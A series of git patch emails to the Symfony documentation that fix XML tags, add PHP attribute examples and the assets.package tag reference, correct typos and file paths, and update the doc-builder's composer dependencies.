@@ -532,7 +531,7 @@ requests and the specific headers for each request:
                     <framework:default-options>
                         <framework:header name="User-Agent">My Fancy App</framework:header>
                     </framework:default-options>
-                </framework-http-client>
+                </framework:http-client>
             </framework:config>
         </container>
 
@@ -558,6 +557,8 @@ requests and the specific headers for each request:
             ],
         ]);
 
+You can also set new headers or override the default ones for specific requests:
+
 .. code-block:: php
 
     // this header is only included in this request and overrides the value
@@ -772,7 +773,7 @@ the ``http_version`` option:
             <framework:config>
                 <framework:http-client>
                     <framework:default-options http-version="2.0"/>
-                </framework-http-client>
+                </framework:http-client>
             </framework:config>
         </container>
 

From f4dbec46fff2b37f062d0221bf05efd36e20b015 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20TAMARELLE?= <jerome@tamarelle.net>
Date: Thu, 1 Oct 2020 01:28:00 +0200
Subject: [PATCH 0528/5766] [Framework] Add tag assets.package

---
 reference/dic_tags.rst | 52 ++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 52 insertions(+)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 0aca3c91777..2e4c7e5b339 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -12,6 +12,7 @@ application there could be more tags available provided by third-party bundles:
 Tag Name                                  Usage
 ========================================  ========================================================================
 `auto_alias`_                             Define aliases based on the value of container parameters
+`assets.package`_                         Add an asset package
 `console.command`_                        Add a command
 `container.hot_path`_                     Add to list of always needed services
 `container.no_preload`_                   Remove a class from the list of classes preloaded by PHP
@@ -50,6 +51,57 @@ Tag Name                                  Usage
 `validator.initializer`_                  Register a service that initializes objects before validation
 ========================================  ========================================================================
 
+assets.package
+--------------
+
+**Purpose**: Add an asset package to the application
+
+This is an alternative way to declare a package in :doc:`/components/asset`.
+
+The name of the package is set in this order:
+* first, the `package` attribute of the tag
+* then, the value returned by the static method `getDefaultPackageName()` if defined
+* finally, the service name
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        services:
+            App\Assets\AvatarPackage:
+                tags:
+                    - { name: assets.package, package: avatars }
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Assets\AvatarPackage">
+                    <tag name="assets.package" package="avatars"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        use App\Assets\AvatarPackage;
+
+        $container
+            ->register(AvatarPackage::class)
+            ->addTag('assets.package', ['package' => 'avatars'])
+        ;
+
+Now you can use the ``avatars`` package in your templates:
+
+.. code-block:: html+twig
+
+    <img src="{{ asset('...', 'avatars') }}">
+
 auto_alias
 ----------
 

From 3799eb4872da9f0730fc827386558bce3178d0ab Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Feb 2021 17:44:53 +0100
Subject: [PATCH 0529/5766] Tweaks

---
 components/asset.rst   |  2 ++
 reference/dic_tags.rst | 12 ++++++++----
 2 files changed, 10 insertions(+), 4 deletions(-)

diff --git a/components/asset.rst b/components/asset.rst
index 48e51754449..5044ef2dab9 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -51,6 +51,8 @@ Installation
 Usage
 -----
 
+.. _asset-packages:
+
 Asset Packages
 ~~~~~~~~~~~~~~
 
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 2e4c7e5b339..81a9cc93704 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -56,12 +56,16 @@ assets.package
 
 **Purpose**: Add an asset package to the application
 
-This is an alternative way to declare a package in :doc:`/components/asset`.
+.. versionadded:: 5.3
 
+    The ``assets.package`` tag was introduced in Symfony 5.3.
+
+This is an alternative way to declare an :ref:`asset package <asset-packages>`.
 The name of the package is set in this order:
-* first, the `package` attribute of the tag
-* then, the value returned by the static method `getDefaultPackageName()` if defined
-* finally, the service name
+
+* first, the ``package`` attribute of the tag;
+* then, the value returned by the static method ``getDefaultPackageName()`` if defined;
+* finally, the service name.
 
 .. configuration-block::
 

From 5c4e78061ff2ead019005ee6b56d31b7e35f3d7f Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Fri, 19 Feb 2021 18:42:57 +0100
Subject: [PATCH 0530/5766] Fix invalid file

---
 http_client.rst | 19 +++++++++++--------
 1 file changed, 11 insertions(+), 8 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 185e4a972cd..f80b2bc96ba 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -559,15 +559,18 @@ Use the ``headers`` option to define the default headers added to all requests:
 
 You can also set new headers or override the default ones for specific requests:
 
-.. code-block:: php
 
-    // this header is only included in this request and overrides the value
-    // of the same header if defined globally by the HTTP client
-    $response = $client->request('POST', 'https://...', [
-        'headers' => [
-            'Content-Type' => 'text/plain',
-        ],
-    ]);
+.. configuration-block::
+
+    .. code-block:: php
+
+        // this header is only included in this request and overrides the value
+        // of the same header if defined globally by the HTTP client
+        $response = $client->request('POST', 'https://...', [
+            'headers' => [
+                'Content-Type' => 'text/plain',
+            ],
+        ]);
 
 Uploading Data
 ~~~~~~~~~~~~~~

From 4e212eedd0617acf4b16d66bb9e0189aff1bbc40 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Feb 2021 19:27:06 +0100
Subject: [PATCH 0531/5766] Tweak

---
 http_client.rst | 21 ++++++++-------------
 1 file changed, 8 insertions(+), 13 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index f80b2bc96ba..37be3137771 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -557,20 +557,15 @@ Use the ``headers`` option to define the default headers added to all requests:
             ],
         ]);
 
-You can also set new headers or override the default ones for specific requests:
+You can also set new headers or override the default ones for specific requests::
 
-
-.. configuration-block::
-
-    .. code-block:: php
-
-        // this header is only included in this request and overrides the value
-        // of the same header if defined globally by the HTTP client
-        $response = $client->request('POST', 'https://...', [
-            'headers' => [
-                'Content-Type' => 'text/plain',
-            ],
-        ]);
+    // this header is only included in this request and overrides the value
+    // of the same header if defined globally by the HTTP client
+    $response = $client->request('POST', 'https://...', [
+        'headers' => [
+            'Content-Type' => 'text/plain',
+        ],
+    ]);
 
 Uploading Data
 ~~~~~~~~~~~~~~

From 6280192b77dab7650921154c3d583d68b8a68fab Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Thu, 18 Feb 2021 21:17:26 +0100
Subject: [PATCH 0532/5766] [Form] Add PHP Attributes example to forms

---
 forms.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/forms.rst b/forms.rst
index 42bdedc9658..e80ad65da71 100644
--- a/forms.rst
+++ b/forms.rst
@@ -507,6 +507,23 @@ object.
             protected $dueDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Task.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Task
+        {
+            #[Assert\NotBlank]
+            public $task;
+
+            #[Assert\NotBlank]
+            #[Assert\Type(\DateTime::class)]
+            protected $dueDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml

From 2abb9aac37ef9db5ed95bfb112bbcfa960ac95ef Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sat, 20 Feb 2021 18:02:11 +0100
Subject: [PATCH 0533/5766] [Security] Add PHP Attribute example to controller

---
 security.rst | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/security.rst b/security.rst
index 3b9341a07d6..18d0344f42e 100644
--- a/security.rst
+++ b/security.rst
@@ -1089,6 +1089,24 @@ Next, you'll need to create a route for this URL (but not a controller):
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/SecurityController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class SecurityController extends AbstractController
+        {
+            #[Route('/logout', name: 'app_logout', methods: ['GET'])]
+            public function logout()
+            {
+                // controller can be blank: it will never be executed!
+                throw new \Exception('Don\'t forget to activate logout in security.yaml');
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml

From 832436bfc788fbb809a3d6c669dbbd9eec94a4ba Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sat, 20 Feb 2021 18:41:02 +0100
Subject: [PATCH 0534/5766] [Routing] Add PHP Attribute route example to the
 controller

---
 controller/service.rst | 33 +++++++++++++++++++++++++++++++++
 1 file changed, 33 insertions(+)

diff --git a/controller/service.rst b/controller/service.rst
index f8048e09def..2c592518608 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -41,6 +41,22 @@ a service like: ``App\Controller\HelloController::index``:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/HelloController.php
+        namespace App\Controller;
+
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class HelloController
+        {
+            #[Route('/hello', name: 'hello', methods: ['GET'])]
+            public function index()
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
@@ -105,6 +121,23 @@ which is a common practice when following the `ADR pattern`_
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/Hello.php
+        namespace App\Controller;
+
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        #[Route('/hello/{name}', name: 'hello')]
+        class Hello
+        {
+            public function __invoke($name = 'World')
+            {
+                return new Response(sprintf('Hello %s!', $name));
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml

From fd02abef74ebdcbc2a94f6212dda8e9908ad554c Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sun, 21 Feb 2021 18:24:01 +0100
Subject: [PATCH 0535/5766] remove unsupported trusted header config values

---
 deployment/proxies.rst | 9 ---------
 1 file changed, 9 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 9b6821e3f79..5f24a69a418 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -37,9 +37,6 @@ and what headers your reverse proxy uses to send information:
             trusted_headers: ['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port']
             // or, if your proxy instead uses the "Forwarded" header
             trusted_headers: ['forwarded']
-            // or, if you're using a wellknown proxy
-            trusted_headers: [!php/const Symfony\\Component\\HttpFoundation\\Request::HEADER_X_FORWARDED_AWS_ELB]
-            trusted_headers: [!php/const Symfony\\Component\\HttpFoundation\\Request::HEADER_X_FORWARDED_TRAEFIK]
 
     .. code-block:: xml
 
@@ -80,9 +77,6 @@ and what headers your reverse proxy uses to send information:
             'trusted_headers' => ['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port'],
             // or, if your proxy instead uses the "Forwarded" header
             'trusted_headers' => ['forwarded'],
-            // or, if you're using a wellknown proxy
-            'trusted_headers' => [Request::HEADER_X_FORWARDED_AWS_ELB],
-            'trusted_headers' => [Request::HEADER_X_FORWARDED_TRAEFIK],
         ]);
 
 .. deprecated:: 5.2
@@ -135,9 +129,6 @@ In this case, you'll need to - *very carefully* - trust *all* proxies.
             // run time by $_SERVER['REMOTE_ADDR'])
             trusted_proxies: '127.0.0.1,REMOTE_ADDR'
 
-            // if you're using ELB, otherwise use another Request::HEADER-* constant
-            trusted_headers: [!php/const Symfony\\Component\\HttpFoundation\\Request::HEADER_X_FORWARDED_AWS_ELB, '!x-forwarded-host', '!x-forwarded-prefix']
-
 That's it! It's critical that you prevent traffic from all non-trusted sources.
 If you allow outside traffic, they could "spoof" their true IP address and
 other information.

From a757019a71115250ec82c61aee4f98eab9d134f1 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sun, 21 Feb 2021 20:28:44 +0100
Subject: [PATCH 0536/5766] [Validator] Mention doctrine-bridge in the
 UniqueEntity constraint

---
 reference/constraints/UniqueEntity.rst | 5 +++++
 reference/constraints/UserPassword.rst | 2 +-
 2 files changed, 6 insertions(+), 1 deletion(-)

diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index e6e449d949b..ca0a0be28c6 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -10,6 +10,11 @@ using an email address that already exists in the system.
     If you want to validate that all the elements of the collection are unique
     use the :doc:`Unique constraint </reference/constraints/Unique>`.
 
+.. note::
+
+    In order to use this constraint, you should have installed the
+    symfony/doctrine-bridge with Composer.
+
 ==========  ===================================================================
 Applies to  :ref:`class <validation-class-target>`
 Options     - `em`_
diff --git a/reference/constraints/UserPassword.rst b/reference/constraints/UserPassword.rst
index 91017168a82..208281df216 100644
--- a/reference/constraints/UserPassword.rst
+++ b/reference/constraints/UserPassword.rst
@@ -12,7 +12,7 @@ password, but needs to enter their old password for security.
 
 .. note::
 
-    In order to use this constraints, you should have installed the
+    In order to use this constraint, you should have installed the
     symfony/security-core component with Composer.
 
 ==========  ===================================================================

From f5fb27dac8fb5c3709130ca1f25c4d095553ddb6 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 21 Feb 2021 21:59:37 +0100
Subject: [PATCH 0537/5766] [Twig] Add missing space

---
 performance.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/performance.rst b/performance.rst
index afd5295a9e3..80e36849cc9 100644
--- a/performance.rst
+++ b/performance.rst
@@ -275,7 +275,7 @@ You can also profile your template code with the :ref:`stopwatch Twig tag <refer
 .. code-block:: twig
 
     {% stopwatch 'render-blog-posts' %}
-        {% for post in blog_posts%}
+        {% for post in blog_posts %}
             {# ... #}
         {% endfor %}
     {% endstopwatch %}

From 8c6912b74aae7e2c0830a34794512040b541d3af Mon Sep 17 00:00:00 2001
From: Erdal G <Erdou@users.noreply.github.com>
Date: Sun, 21 Feb 2021 11:03:54 +0100
Subject: [PATCH 0538/5766] Minor change to use DateTimeImmutable instead of
 DateTime

Using DateTimeImmutable instead of DateTime when no mutation is needed improves performances.
---
 doctrine/events.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index c98be25d736..30b48856c13 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -76,7 +76,7 @@ define a callback for the ``prePersist`` Doctrine event:
              */
             public function setCreatedAtValue(): void
             {
-                $this->createdAt = new \DateTime();
+                $this->createdAt = new \DateTimeImmutable();
             }
         }
 

From 8ddf8ec5b8a3544cb1db3ee0356d863cf5d9f489 Mon Sep 17 00:00:00 2001
From: Pierre Boissinot <pierre.boissinot@lephare.com>
Date: Mon, 22 Feb 2021 12:25:05 +0100
Subject: [PATCH 0539/5766] fix file path in comment following namespace

---
 security/impersonating_user.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 5f44a7fad23..ca4c1e3947f 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -259,7 +259,7 @@ be called):
 Then, create a voter class that responds to this role and includes whatever custom
 logic you want::
 
-    // src/Service/Voter/SwitchToCustomerVoter.php
+    // src/Security/Voter/SwitchToCustomerVoter.php
     namespace App\Security\Voter;
 
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;

From 6f8ff2502089924952031b58307335dc77bda687 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Mon, 22 Feb 2021 20:30:14 +0100
Subject: [PATCH 0540/5766] [Validator] Add PHP Attributes to severity and
 translation examples

---
 validation/severity.rst     | 19 +++++++++++++++++++
 validation/translations.rst | 13 +++++++++++++
 2 files changed, 32 insertions(+)

diff --git a/validation/severity.rst b/validation/severity.rst
index 7a8c22298fd..7df7746c7f2 100644
--- a/validation/severity.rst
+++ b/validation/severity.rst
@@ -50,6 +50,25 @@ Use the ``payload`` option to configure the error level for each constraint:
             protected $bankAccountNumber;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\NotBlank(payload: ['severity' => 'error'])]
+            protected $username;
+
+            #[Assert\NotBlank(payload: ['severity' => 'error'])]
+            protected $password;
+
+            #[Assert\Iban(payload: ['severity' => 'warning'])]
+            protected $bankAccountNumber;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/validation/translations.rst b/validation/translations.rst
index 5c22f9362c3..c251c986b3b 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -40,6 +40,19 @@ property is not empty, add the following:
             public $name;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\NotBlank(message: 'author.name.not_blank')]
+            public $name;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml

From c4a398e55598cef9f2bc4557cfa1e0a12ff98e1d Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Mon, 22 Feb 2021 21:46:34 +0100
Subject: [PATCH 0541/5766] [Validator][Translation] Mention
 symfony/translation

---
 validation/translations.rst | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/validation/translations.rst b/validation/translations.rst
index 5c22f9362c3..3edc15dab5e 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -8,6 +8,11 @@ If you're using validation constraints with the Form component, you can translat
 the error messages by creating a translation resource for the
 ``validators`` :ref:`domain <translation-resource-locations>`.
 
+.. note::
+
+    In order to translate the error message, you should have installed the
+    symfony/translation component with Composer.
+
 To start, suppose you've created a plain-old-PHP object that you need to
 use somewhere in your application::
 
@@ -93,7 +98,7 @@ Now, create a ``validators`` catalog file in the ``translations/`` directory:
 
     .. code-block:: xml
 
-        <!-- translations/validators.en.xlf -->
+        <!-- translations/validators/validators.en.xlf -->
         <?xml version="1.0"?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
@@ -108,12 +113,12 @@ Now, create a ``validators`` catalog file in the ``translations/`` directory:
 
     .. code-block:: yaml
 
-        # translations/validators.en.yaml
+        # translations/validators/validators.en.yaml
         author.name.not_blank: Please enter an author name.
 
     .. code-block:: php
 
-        // translations/validators.en.php
+        // translations/validators/validators.en.php
         return [
             'author.name.not_blank' => 'Please enter an author name.',
         ];

From 2d2f3b7cbdbea6b805212c8dc21bdd02966aebcc Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Micka=C3=ABl=20Isaert?= <mickael.isaert@gmail.com>
Date: Mon, 21 Dec 2020 19:43:42 +0100
Subject: [PATCH 0542/5766] [Cache] Add TLS scheme for Redis connection

See https://github.com/symfony/symfony/pull/39599
---
 components/cache/adapters/redis_adapter.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 935afcd9f92..f1d00b248c2 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -62,7 +62,8 @@ helper method allows creating and configuring the Redis client class instance us
     );
 
 The DSN can specify either an IP/host (and an optional port) or a socket path, as well as a
-password and a database index.
+password and a database index. To enable TLS for connections, the scheme ``redis`` must be
+replaced by ``rediss``.
 
 .. note::
 
@@ -70,7 +71,7 @@ password and a database index.
 
     .. code-block:: text
 
-        redis://[pass@][ip|host|socket[:port]][/db-index]
+        redis[s]://[pass@][ip|host|socket[:port]][/db-index]
 
 Below are common examples of valid DSNs showing a combination of available values::
 

From efd9cd0758127350e7a67c28fc9100e936d68ae4 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Tue, 23 Feb 2021 19:49:10 +0100
Subject: [PATCH 0543/5766] Use null coalescing operator instead of ternary
 operator

---
 components/property_access.rst       | 8 ++------
 create_framework/http_foundation.rst | 4 ++--
 frontend/custom_version_strategy.rst | 2 +-
 3 files changed, 5 insertions(+), 9 deletions(-)

diff --git a/components/property_access.rst b/components/property_access.rst
index 7b9053b835f..5cd5095908a 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -237,9 +237,7 @@ enable this feature by using :class:`Symfony\\Component\\PropertyAccess\\Propert
         {
             $property = lcfirst(substr($name, 3));
             if ('get' === substr($name, 0, 3)) {
-                return isset($this->children[$property])
-                    ? $this->children[$property]
-                    : null;
+                return $this->children[$property] ?? null;
             } elseif ('set' === substr($name, 0, 3)) {
                 $value = 1 == count($args) ? $args[0] : null;
                 $this->children[$property] = $value;
@@ -334,9 +332,7 @@ see `Enable other Features`_::
         {
             $property = lcfirst(substr($name, 3));
             if ('get' === substr($name, 0, 3)) {
-                return isset($this->children[$property])
-                    ? $this->children[$property]
-                    : null;
+                return $this->children[$property] ?? null;
             } elseif ('set' === substr($name, 0, 3)) {
                 $value = 1 == count($args) ? $args[0] : null;
                 $this->children[$property] = $value;
diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst
index 99dff5c1faf..3c84dd25e57 100644
--- a/create_framework/http_foundation.rst
+++ b/create_framework/http_foundation.rst
@@ -25,7 +25,7 @@ First, if the ``name`` query parameter is not defined in the URL query string,
 you will get a PHP warning; so let's fix it::
 
     // framework/index.php
-    $name = isset($_GET['name']) ? $_GET['name'] : 'World';
+    $name = $_GET['name'] ?? 'World';
 
     printf('Hello %s', $name);
 
@@ -33,7 +33,7 @@ Then, this *application is not secure*. Can you believe it? Even this simple
 snippet of PHP code is vulnerable to one of the most widespread Internet
 security issue, XSS (Cross-Site Scripting). Here is a more secure version::
 
-    $name = isset($_GET['name']) ? $_GET['name'] : 'World';
+    $name = $_GET['name'] ?? 'World';
 
     header('Content-Type: text/html; charset=utf-8');
 
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index 6361ba632c0..d6280637b7f 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -83,7 +83,7 @@ version string::
                 $this->hashes = $this->loadManifest();
             }
 
-            return isset($this->hashes[$path]) ? $this->hashes[$path] : '';
+            return $this->hashes[$path] ?? '';
         }
 
         public function applyVersion($path)

From dde96698a2fc6307c6eb02557476d3d8713049ba Mon Sep 17 00:00:00 2001
From: Kolja Zuelsdorf <koljaz@web.de>
Date: Tue, 23 Feb 2021 21:59:11 +0100
Subject: [PATCH 0544/5766] Fixed small typo

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 8fd666c8f96..8cc56e61b20 100644
--- a/testing.rst
+++ b/testing.rst
@@ -607,7 +607,7 @@ submitting a login form - make a test very slow. For this reason, Symfony
 provides a ``loginUser()`` method to simulate logging in in your functional
 tests.
 
-Instead of login in with real users, it's recommended to create a user only for
+Instead of logging in with real users, it's recommended to create a user only for
 tests. You can do that with Doctrine :ref:`data fixtures <user-data-fixture>`,
 to load the testing users only in the test database.
 

From c335d0e232a55b90911bd2db818de05b9261a00e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Feb 2021 09:21:01 +0100
Subject: [PATCH 0545/5766] [Internal] Set the specific version of the
 doc-builder

---
 _build/composer.json |   6 +-
 _build/composer.lock | 267 ++++++++++++++++++-------------------------
 2 files changed, 117 insertions(+), 156 deletions(-)

diff --git a/_build/composer.json b/_build/composer.json
index ea0ef4eee25..45f492f2f06 100644
--- a/_build/composer.json
+++ b/_build/composer.json
@@ -15,8 +15,8 @@
     },
     "require": {
         "php": ">=7.2.9",
-        "symfony/console": "^4.1",
-        "symfony/docs-builder": "dev-master",
-        "symfony/process": "9999999-dev"
+        "symfony/console": "^4.4",
+        "symfony/docs-builder": "^0.12.0",
+        "symfony/process": "^4.4"
     }
 }
diff --git a/_build/composer.lock b/_build/composer.lock
index 8a5ab63dcb7..b1815909808 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -4,7 +4,7 @@
         "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
         "This file is @generated automatically"
     ],
-    "content-hash": "e580f6d54e3fe0b71ca6103550882138",
+    "content-hash": "f237cd997543c606037f2517b2ffad9f",
     "packages": [
         {
             "name": "doctrine/event-manager",
@@ -571,16 +571,16 @@
         },
         {
             "name": "scrivo/highlight.php",
-            "version": "v9.18.1.3",
+            "version": "v9.18.1.6",
             "source": {
                 "type": "git",
                 "url": "https://github.com/scrivo/highlight.php.git",
-                "reference": "6a1699707b099081f20a488ac1f92d682181018c"
+                "reference": "44a3d4136edb5ad8551590bf90f437db80b2d466"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/6a1699707b099081f20a488ac1f92d682181018c",
-                "reference": "6a1699707b099081f20a488ac1f92d682181018c",
+                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/44a3d4136edb5ad8551590bf90f437db80b2d466",
+                "reference": "44a3d4136edb5ad8551590bf90f437db80b2d466",
                 "shasum": ""
             },
             "require": {
@@ -594,9 +594,6 @@
                 "symfony/finder": "^2.8|^3.4",
                 "symfony/var-dumper": "^2.8|^3.4"
             },
-            "suggest": {
-                "ext-dom": "Needed to make use of the features in the utilities namespace"
-            },
             "type": "library",
             "autoload": {
                 "psr-0": {
@@ -646,20 +643,20 @@
                     "type": "github"
                 }
             ],
-            "time": "2020-10-16T07:43:22+00:00"
+            "time": "2020-12-22T19:20:29+00:00"
         },
         {
             "name": "symfony/console",
-            "version": "v4.4.15",
+            "version": "v4.4.19",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/console.git",
-                "reference": "90933b39c7b312fc3ceaa1ddeac7eb48cb953124"
+                "reference": "24026c44fc37099fa145707fecd43672831b837a"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/console/zipball/90933b39c7b312fc3ceaa1ddeac7eb48cb953124",
-                "reference": "90933b39c7b312fc3ceaa1ddeac7eb48cb953124",
+                "url": "https://api.github.com/repos/symfony/console/zipball/24026c44fc37099fa145707fecd43672831b837a",
+                "reference": "24026c44fc37099fa145707fecd43672831b837a",
                 "shasum": ""
             },
             "require": {
@@ -694,11 +691,6 @@
                 "symfony/process": ""
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "4.4-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\Console\\": ""
@@ -721,10 +713,10 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony Console Component",
+            "description": "Eases the creation of beautiful and testable command line interfaces",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/console/tree/v4.4.15"
+                "source": "https://github.com/symfony/console/tree/v4.4.19"
             },
             "funding": [
                 {
@@ -740,31 +732,26 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-09-15T07:58:55+00:00"
+            "time": "2021-01-27T09:09:26+00:00"
         },
         {
             "name": "symfony/css-selector",
-            "version": "v4.4.15",
+            "version": "v4.4.19",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/css-selector.git",
-                "reference": "bf17dc9f6ce144e41f786c32435feea4d8e11dcc"
+                "reference": "f907d3e53ecb2a5fad8609eb2f30525287a734c8"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/css-selector/zipball/bf17dc9f6ce144e41f786c32435feea4d8e11dcc",
-                "reference": "bf17dc9f6ce144e41f786c32435feea4d8e11dcc",
+                "url": "https://api.github.com/repos/symfony/css-selector/zipball/f907d3e53ecb2a5fad8609eb2f30525287a734c8",
+                "reference": "f907d3e53ecb2a5fad8609eb2f30525287a734c8",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.1.3"
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "4.4-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\CssSelector\\": ""
@@ -791,10 +778,10 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony CssSelector Component",
+            "description": "Converts CSS selectors to XPath expressions",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/css-selector/tree/v4.4.15"
+                "source": "https://github.com/symfony/css-selector/tree/v4.4.19"
             },
             "funding": [
                 {
@@ -810,11 +797,11 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-07-05T09:39:30+00:00"
+            "time": "2021-01-27T09:09:26+00:00"
         },
         {
             "name": "symfony/docs-builder",
-            "version": "dev-master",
+            "version": "v0.12.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/weaverryan/docs-builder",
@@ -839,7 +826,6 @@
                 "symfony/phpunit-bridge": "^4.1",
                 "symfony/process": "^4.2"
             },
-            "default-branch": true,
             "type": "project",
             "autoload": {
                 "psr-4": {
@@ -854,16 +840,16 @@
         },
         {
             "name": "symfony/dom-crawler",
-            "version": "v4.4.15",
+            "version": "v4.4.19",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/dom-crawler.git",
